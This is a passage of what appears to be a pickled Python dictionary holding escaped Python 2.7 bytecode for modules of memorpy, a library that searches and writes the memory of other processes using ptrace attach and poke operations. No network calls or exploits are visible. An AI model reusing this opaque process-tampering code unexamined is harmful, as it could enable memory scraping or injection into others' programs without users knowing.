x00\\\\x00Z\\\\x01\\\\x00d\\\\x00\\\\x00Z\\\\x02\\\\x00d\\\\x01\\\\x00d\\\\x08\\\\x00d\\\\x08\\\\x00d\\\\x02\\\\x00\\\\x84\\\\x03\\\\x00Z\\\\x04\\\\x00e\\\\x05\\\\x00d\\\\x03\\\\x00\\\\x84\\\\x01\\\\x00Z\\\\x06\\\\x00e\\\\x05\\\\x00d\\\\x04\\\\x00\\\\x84\\\\x01\\\\x00Z\\\\x07\\\\x00d\\\\x05\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x08\\\\x00e\\\\t\\\\x00d\\\\x06\\\\x00\\\\x84\\\\x01\\\\x00Z\\\\n\\\\x00e\\\\t\\\\x00d\\\\x07\\\\x00\\\\x84\\\\x01\\\\x00Z\\\\x0b\\\\x00RS(\\\\t\\\\x00\\\\x00\\\\x00s\\\\xa0\\\\x00\\\\x00\\\\x00 \\\\n            take a memoryworker and a type to search\\\\n            then you can feed the locator with values and it will reduce the addresses possibilities\\\\n    t\\\\x07\\\\x00\\\\x00\\\\x00unknownc\\\\x05\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s:\\\\x00\\\\x00\\\\x00|\\\\x01\\\\x00|\\\\x00\\\\x00_\\\\x00\\\\x00|\\\\x02\\\\x00|\\\\x00\\\\x00_\\\\x01\\\\x00i\\\\x00\\\\x00|\\\\x00\\\\x00_\\\\x02\\\\x00d\\\\x00\\\\x00|\\\\x00\\\\x00_\\\\x04\\\\x00|\\\\x03\\\\x00|\\\\x00\\\\x00_\\\\x05\\\\x00|\\\\x04\\\\x00|\\\\x00\\\\x00_\\\\x06\\\\x00d\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x07\\\\x00\\\\x00\\\\x00t\\\\x02\\\\x00\\\\x00\\\\x00mwt\\\\x04\\\\x00\\\\x00\\\\x00typet\\\\x0e\\\\x00\\\\x00\\\\x00last_iterationt\\\\x04\\\\x00\\\\x00\\\\x00Nonet\\\\n\\\\x00\\\\x00\\\\x00last_valuet\\\\x05\\\\x00\\\\x00\\\\x00startt\\\\x03\\\\x00\\\\x00\\\\x00end(\\\\x05\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00selfR\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x04\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Locator.pyt\\\\x08\\\\x00\\\\x00\\\\x00__init__\\\\x1c\\\\x00\\\\x00\\\\x00s\\\\x0c\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01c\\\\x03\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x10\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00|\\\\x01\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x02\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00feed(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\n\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00valuet\\\\n\\\\x00\\\\x00\\\\x00erase_last(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Locator.pyt\\\\x04\\\\x00\\\\x00\\\\x00find$\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x03\\\\x00\\\\x00\\\\x00\\\\x0b\\\\x00\\\\x00\\\\x00\\\\t\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x99\\\\x01\\\\x00\\\\x00|\\\\x01\\\\x00|\\\\x00\\\\x00_\\\\x00\\\\x00t\\\\x01\\\\x00j\\\\x01\\\\x00|\\\\x00\\\\x00j\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x03\\\\x00|\\\\x00\\\\x00j\\\\x03\\\\x00d\\\\x01\\\\x00k\\\\x02\\\\x00rK\\\\x00d\\\\x02\\\\x00d\\\\x03\\\\x00d\\\\x04\\\\x00d\\\\x05\\\\x00d\\\\x06\\\\x00d\\\\x07\\\\x00d\\\\x08\\\\x00d\\\\t\\\\x00g\\\\x08\\\\x00}\\\\x04\\\\x00n\\\\x0c\\\\x00|\\\\x00\\\\x00j\\\\x03\\\\x00g\\\\x01\\\\x00}\\\\x04\\\\x00x#\\\\x01|\\\\x04\\\\x00D]\\\\x1b\\\\x01}\\\\x05\\\\x00|\\\\x05\\\\x00|\\\\x03\\\\x00k\\\\x07\\\\x00r\\\\xe8\\\\x00yT\\\\x00g\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x04\\\\x00j\\\\x05\\\\x00|\\\\x01\\\\x00|\\\\x05\\\\x00d\\\\n\\\\x00|\\\\x00\\\\x00j\\\\x06\\\\x00d\\\\x0b\\\\x00|\\\\x00\\\\x00j\\\\x07\\\\x00\\\\x83\\\\x02\\\\x02D]\\\\x1e\\\\x00}\\\\x06\\\\x00t\\\\x08\\\\x00|\\\\x06\\\\x00|\\\\x00\\\\x00j\\\\x04\\\\x00j\\\\t\\\\x00|\\\\x05\\\\x00\\\\x83\\\\x03\\\\x00^\\\\x02\\\\x00q\\\\x9b\\\\x00|\\\\x03\\\\x00|\\\\x05\\\\x00<Wqy\\\\x01\\\\x04t\\\\n\\\\x00j\\\\x0b\\\\x00k\\\\n\\\\x00r\\\\xe4\\\\x00\\\\x01\\\\x01\\\\x01g\\\\x00\\\\x00|\\\\x03\\\\x00|\\\\x05\\\\x00<qy\\\\x01Xq^\\\\x00g\\\\x00\\\\x00}\\\\x07\\\\x00x~\\\\x00|\\\\x03\\\\x00|\\\\x05\\\\x00\\\\x19D]r\\\\x00}\\\\x08\\\\x00yV\\\\x00|\\\\x00\\\\x00j\\\\x04\\\\x00j\\\\t\\\\x00j\\\\x0c\\\\x00|\\\\x08\\\\x00|\\\\x05\\\\x00\\\\x83\\\\x02\\\\x00}\\\\t\\\\x00t\\\\r\\\\x00|\\\\t\\\\x00\\\\x83\\\\x01\\\\x00t\\\\r\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00k\\\\x02\\\\x00rT\\\\x01|\\\\x07\\\\x00j\\\\x0e\\\\x00t\\\\x08\\\\x00|\\\\x08\\\\x00|\\\\x00\\\\x00j\\\\x04\\\\x00j\\\\t\\\\x00|\\\\x05\\\\x00\\\\x83\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01n\\\\x00\\\\x00Wq\\\\xf9\\\\x00\\\\x04t\\\\x0f\\\\x00k\\\\n\\\\x00rj\\\\x01\\\\x01}\\\\n\\\\x00\\\\x01q\\\\xf9\\\\x00Xq\\\\xf9\\\\x00W|\\\\x07\\\\x00|\\\\x03\\\\x00|\\\\x05\\\\x00<q^\\\\x00W|\\\\x02\\\\x00r\\\\x95\\\\x01|\\\\x00\\\\x00`\\\\x02\\\\x00|\\\\x03\\\\x00|\\\\x00\\\\x00_\\\\x02\\\\x00n\\\\x00\\\\x00|\\\\x03\\\\x00S(\\\\x0c\\\\x00\\\\x00\\\\x00NR\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00uintt\\\\x03\\\\x00\\\\x00\\\\x00intt\\\\x04\\\\x00\\\\x00\\\\x00longt\\\\x05\\\\x00\\\\x00\\\\x00ulongt\\\\x05\\\\x00\\\\x00\\\\x00floatt\\\\x06\\\\x00\\\\x00\\\\x00doublet\\\\x05\\\\x00\\\\x00\\\\x00shortt\\\\x06\\\\x00\\\\x00\\\\x00ushortt\\\\x0c\\\\x00\\\\x00\\\\x00start_offsett\\\\n\\\\x00\\\\x00\\\\x00end_offset(\\\\x10\\\\x00\\\\x00\\\\x00R\\\\x07\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00copyR\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x04\\\\x00\\\\x00\\\\x00R\\\\x03\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00mem_searchR\\\\x08\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00R\\\\x00\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00processt\\\\x06\\\\x00\\\\x00\\\\x00structt\\\\x05\\\\x00\\\\x00\\\\x00errort\\\\x04\\\\x00\\\\x00\\\\x00readR\\\\x11\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00appendt\\\\t\\\\x00\\\\x00\\\\x00Exception(\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\n\\\\x00\\\\x00\\\\x00R\\\\r\\\\x00\\\\x00\\\\x00R\\\\x0e\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00new_itert\\\\t\\\\x00\\\\x00\\\\x00all_typesR\\\\x04\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00xt\\\\x01\\\\x00\\\\x00\\\\x00lt\\\\x07\\\\x00\\\\x00\\\\x00addresst\\\\x05\\\\x00\\\\x00\\\\x00foundt\\\\x01\\\\x00\\\\x00\\\\x00e(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Locator.pyR\\\\x0c\\\\x00\\\\x00\\\\x00\\'\\\\x00\\\\x00\\\\x00s>\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01\\\\x12\\\\x01\\\\x0f\\\\x01\\\\x03\\\\x01\\\\x03\\\\x01\\\\x03\\\\x01\\\\x03\\\\x01\\\\x03\\\\x01\\\\x03\\\\x01\\\\x03\\\\x01\\\\x0c\\\\x02\\\\x0c\\\\x01\\\\r\\\\x01\\\\x0c\\\\x01\\\\x03\\\\x01T\\\\x01\\\\x10\\\\x01\\\\x11\\\\x02\\\\x06\\\\x01\\\\x11\\\\x01\\\\x03\\\\x01\\\\x18\\\\x01\\\\x18\\\\x01&\\\\x01\\\\x0f\\\\x01\\\\x08\\\\x02\\\\x0e\\\\x02\\\\x06\\\\x01\\\\x06\\\\x01\\\\x0c\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x07\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\n\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Locator.pyt\\\\r\\\\x00\\\\x00\\\\x00get_addressesL\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\r\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x11\\\\x00\\\\x00\\\\x00get_modified_addr(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\n\\\\x00\\\\x00\\\\x00R\\\\x0e\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Locator.pyt\\\\x04\\\\x00\\\\x00\\\\x00diffO\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x02\\\\x00\\\\x00\\\\x00\\\\t\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\xa2\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00}\\\\x02\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00|\\\\x00\\\\x00j\\\\x02\\\\x00d\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x01}\\\\x03\\\\x00i\\\\x00\\\\x00}\\\\x04\\\\x00xt\\\\x00|\\\\x02\\\\x00j\\\\x03\\\\x00\\\\x83\\\\x00\\\\x00D]f\\\\x00\\\\\\\\\\\\x02\\\\x00}\\\\x05\\\\x00}\\\\x06\\\\x00t\\\\x04\\\\x00|\\\\x03\\\\x00|\\\\x05\\\\x00\\\\x19\\\\x83\\\\x01\\\\x00}\\\\x07\\\\x00xG\\\\x00|\\\\x06\\\\x00D]?\\\\x00}\\\\x08\\\\x00|\\\\x08\\\\x00|\\\\x07\\\\x00k\\\\x07\\\\x00rW\\\\x00|\\\\x05\\\\x00|\\\\x04\\\\x00k\\\\x07\\\\x00r\\\\x82\\\\x00g\\\\x00\\\\x00|\\\\x04\\\\x00|\\\\x05\\\\x00<n\\\\x00\\\\x00|\\\\x04\\\\x00|\\\\x05\\\\x00\\\\x19j\\\\x05\\\\x00|\\\\x08\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01qW\\\\x00qW\\\\x00Wq4\\\\x00W|\\\\x04\\\\x00S(\\\\x02\\\\x00\\\\x00\\\\x00NR\\\\x0e\\\\x00\\\\x00\\\\x00(\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x0c\\\\x00\\\\x00\\\\x00R\\\\x07\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00iteritemst\\\\x03\\\\x00\\\\x00\\\\x00setR \\\\x00\\\\x00\\\\x00(\\\\t\\\\x00\\\\x00\\\\x00R\\\\n\\\\x00\\\\x00\\\\x00R\\\\x0e\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00lastt\\\\x03\\\\x00\\\\x00\\\\x00newt\\\\x03\\\\x00\\\\x00\\\\x00retR\\\\x04\\\\x00\\\\x00\\\\x00R%\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00typesett\\\\x04\\\\x00\\\\x00\\\\x00addr(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Locator.pyR*\\\\x00\\\\x00\\\\x00R\\\\x00\\\\x00\\\\x00s\\\\x16\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01\\\\x18\\\\x01\\\\x06\\\\x01\\\\x19\\\\x01\\\\x10\\\\x01\\\\r\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\r\\\\x01\\\\x1c\\\\x02N(\\\\x0c\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00__name__t\\\\n\\\\x00\\\\x00\\\\x00__module__t\\\\x07\\\\x00\\\\x00\\\\x00__doc__R\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00TrueR\\\\x0f\\\\x00\\\\x00\\\\x00R\\\\x0c\\\\x00\\\\x00\\\\x00R)\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00FalseR+\\\\x00\\\\x00\\\\x00R*\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Locator.pyR\\\\x01\\\\x00\\\\x00\\\\x00\\\\x16\\\\x00\\\\x00\\\\x00s\\\\x0e\\\\x00\\\\x00\\\\x00\\\\x06\\\\x04\\\\x06\\\\x02\\\\x12\\\\x08\\\\x0c\\\\x03\\\\x0c%\\\\t\\\\x03\\\\x0c\\\\x03(\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x1a\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00timeR\\\\x00\\\\x00\\\\x00\\\\x00R\\\\x1d\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00objectR\\\\x01\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Locator.pyt\\\\x08\\\\x00\\\\x00\\\\x00<module>\\\\x11\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x10\\\\x01\\\\x0c\\\\x02\"\\np9\\nsS\\'memorpy/LinStructures.pyc\\'\\np10\\nS\\'\\\\x03\\\\xf3\\\\r\\\\ng\\\\x18\\\\x05Yc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00@\\\\x00\\\\x00\\\\x00sh\\\\x00\\\\x00\\\\x00d\\\\x00\\\\x00Z\\\\x00\\\\x00d\\\\x01\\\\x00Z\\\\x01\\\\x00d\\\\x02\\\\x00Z\\\\x02\\\\x00d\\\\x03\\\\x00Z\\\\x03\\\\x00d\\\\x04\\\\x00Z\\\\x04\\\\x00d\\\\x05\\\\x00Z\\\\x05\\\\x00e\\\\x03\\\\x00e\\\\x01\\\\x00Be\\\\x02\\\\x00BZ\\\\x06\\\\x00e\\\\x03\\\\x00e\\\\x01\\\\x00BZ\\\\x07\\\\x00e\\\\x01\\\\x00Z\\\\x08\\\\x00e\\\\x01\\\\x00e\\\\x02\\\\x00BZ\\\\t\\\\x00d\\\\x06\\\\x00Z\\\\n\\\\x00d\\\\x05\\\\x00Z\\\\x0b\\\\x00d\\\\x07\\\\x00Z\\\\x0c\\\\x00d\\\\x08\\\\x00Z\\\\r\\\\x00d\\\\t\\\\x00S(\\\\n\\\\x00\\\\x00\\\\x00i\\\\x00\\\\x00\\\\x00\\\\x00i\\\\x01\\\\x00\\\\x00\\\\x00i\\\\x02\\\\x00\\\\x00\\\\x00i\\\\x04\\\\x00\\\\x00\\\\x00i\\\\x08\\\\x00\\\\x00\\\\x00i\\\\x10\\\\x00\\\\x00\\\\x00i\\\\x05\\\\x00\\\\x00\\\\x00i\\\\x11\\\\x00\\\\x00\\\\x00i\\\\x07\\\\x00\\\\x00\\\\x00N(\\\\x0e\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00PROT_NONEt\\\\t\\\\x00\\\\x00\\\\x00PROT_READt\\\\n\\\\x00\\\\x00\\\\x00PROT_WRITEt\\\\t\\\\x00\\\\x00\\\\x00PROT_EXECt\\\\x0c\\\\x00\\\\x00\\\\x00PROT_PRIVATEt\\\\x0b\\\\x00\\\\x00\\\\x00PROT_SHAREDt\\\\x16\\\\x00\\\\x00\\\\x00PAGE_EXECUTE_READWRITEt\\\\x11\\\\x00\\\\x00\\\\x00PAGE_EXECUTE_READt\\\\r\\\\x00\\\\x00\\\\x00PAGE_READONLYt\\\\x0e\\\\x00\\\\x00\\\\x00PAGE_READWRITEt\\\\x0f\\\\x00\\\\x00\\\\x00PTRACE_POKEDATAt\\\\r\\\\x00\\\\x00\\\\x00PTRACE_ATTACHt\\\\r\\\\x00\\\\x00\\\\x00PTRACE_DETACHt\\\\x0b\\\\x00\\\\x00\\\\x00PTRACE_CONT(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sU\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinStructures.pyt\\\\x08\\\\x00\\\\x00\\\\x00<module>\\\\x04\\\\x00\\\\x00\\\\x00s\\\\x1a\\\\x00\\\\x00\\\\x00\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x03\\\\x0e\\\\x01\\\\n\\\\x01\\\\x06\\\\x01\\\\n\\\\x02\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\'\\np11\\nsS\\'memorpy/OSXProcess.pyc\\'\\np12\\nS\\'\\\\x03\\\\xf3\\\\r\\\\ng\\\\x18\\\\x05Yc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00@\\\\x00\\\\x00\\\\x00sD\\\\x01\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x00\\\\x00Z\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x01\\\\x00Z\\\\x01\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x02\\\\x00Z\\\\x02\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x03\\\\x00Z\\\\x03\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x04\\\\x00Z\\\\x04\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x05\\\\x00Z\\\\x05\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x06\\\\x00Z\\\\x06\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x07\\\\x00Z\\\\x04\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x08\\\\x00Z\\\\x08\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\t\\\\x00Z\\\\t\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\n\\\\x00Z\\\\n\\\\x00d\\\\x00\\\\x00d\\\\x02\\\\x00l\\\\x0b\\\\x00m\\\\x0b\\\\x00Z\\\\x0b\\\\x00m\\\\x0c\\\\x00Z\\\\x0c\\\\x00\\\\x01d\\\\x00\\\\x00d\\\\x03\\\\x00l\\\\r\\\\x00Td\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x0e\\\\x00Z\\\\x0e\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x0f\\\\x00Z\\\\x0f\\\\x00e\\\\x0e\\\\x00j\\\\x10\\\\x00d\\\\x04\\\\x00\\\\x83\\\\x01\\\\x00Z\\\\x11\\\\x00e\\\\x04\\\\x00j\\\\x12\\\\x00e\\\\x04\\\\x00j\\\\x13\\\\x00j\\\\x14\\\\x00d\\\\x05\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00Z\\\\x15\\\\x00d\\\\x06\\\\x00Z\\\\x16\\\\x00d\\\\x07\\\\x00e\\\\x04\\\\x00j\\\\x17\\\\x00f\\\\x01\\\\x00d\\\\x08\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x18\\\\x00e\\\\x04\\\\x00j\\\\x19\\\\x00e\\\\x18\\\\x00\\\\x83\\\\x01\\\\x00d\\\\t\\\\x00\\\\x15Z\\\\x1a\\\\x00d\\\\n\\\\x00Z\\\\x1b\\\\x00d\\\\x0b\\\\x00Z\\\\x1c\\\\x00d\\\\t\\\\x00Z\\\\x1d\\\\x00d\\\\x0c\\\\x00e\\\\x0b\\\\x00f\\\\x01\\\\x00d\\\\r\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x1e\\\\x00d\\\\x01\\\\x00S(\\\\x0e\\\\x00\\\\x00\\\\x00i\\\\xff\\\\xff\\\\xff\\\\xffN(\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x0b\\\\x00\\\\x00\\\\x00BaseProcesst\\\\x10\\\\x00\\\\x00\\\\x00ProcessException(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00*t\\\\x07\\\\x00\\\\x00\\\\x00memorpyt\\\\x01\\\\x00\\\\x00\\\\x00ci\\\\t\\\\x00\\\\x00\\\\x00t\\\\x17\\\\x00\\\\x00\\\\x00vm_region_basic_info_64c\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00sn\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00d\\\\x00\\\\x00e\\\\x02\\\\x00j\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x01\\\\x00e\\\\x02\\\\x00j\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x02\\\\x00e\\\\x02\\\\x00j\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x03\\\\x00e\\\\x02\\\\x00j\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x04\\\\x00e\\\\x02\\\\x00j\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x05\\\\x00e\\\\x02\\\\x00j\\\\x04\\\\x00f\\\\x02\\\\x00d\\\\x06\\\\x00e\\\\x02\\\\x00j\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x07\\\\x00e\\\\x02\\\\x00j\\\\x05\\\\x00f\\\\x02\\\\x00g\\\\x08\\\\x00Z\\\\x06\\\\x00RS(\\\\x08\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00protectiont\\\\x0e\\\\x00\\\\x00\\\\x00max_protectiont\\\\x0b\\\\x00\\\\x00\\\\x00inheritancet\\\\x06\\\\x00\\\\x00\\\\x00sharedt\\\\x08\\\\x00\\\\x00\\\\x00reservedt\\\\x06\\\\x00\\\\x00\\\\x00offsett\\\\x08\\\\x00\\\\x00\\\\x00behaviort\\\\x10\\\\x00\\\\x00\\\\x00user_wired_count(\\\\x07\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00__name__t\\\\n\\\\x00\\\\x00\\\\x00__module__t\\\\x06\\\\x00\\\\x00\\\\x00ctypest\\\\x08\\\\x00\\\\x00\\\\x00c_uint32t\\\\x0b\\\\x00\\\\x00\\\\x00c_ulonglongt\\\\x08\\\\x00\\\\x00\\\\x00c_ushortt\\\\x08\\\\x00\\\\x00\\\\x00_fields_(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyR\\\\x05\\\\x00\\\\x00\\\\x00%\\\\x00\\\\x00\\\\x00s\\\\x10\\\\x00\\\\x00\\\\x00\\\\x06\\\\x02\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01i\\\\x04\\\\x00\\\\x00\\\\x00i\\\\x01\\\\x00\\\\x00\\\\x00i\\\\x02\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00OSXProcessc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00s}\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00d\\\\n\\\\x00d\\\\n\\\\x00e\\\\x03\\\\x00d\\\\x00\\\\x00\\\\x84\\\\x03\\\\x00Z\\\\x04\\\\x00d\\\\x01\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x05\\\\x00d\\\\x02\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x06\\\\x00d\\\\x03\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x07\\\\x00e\\\\x08\\\\x00d\\\\x04\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x01\\\\x00Z\\\\t\\\\x00e\\\\x08\\\\x00d\\\\x05\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x01\\\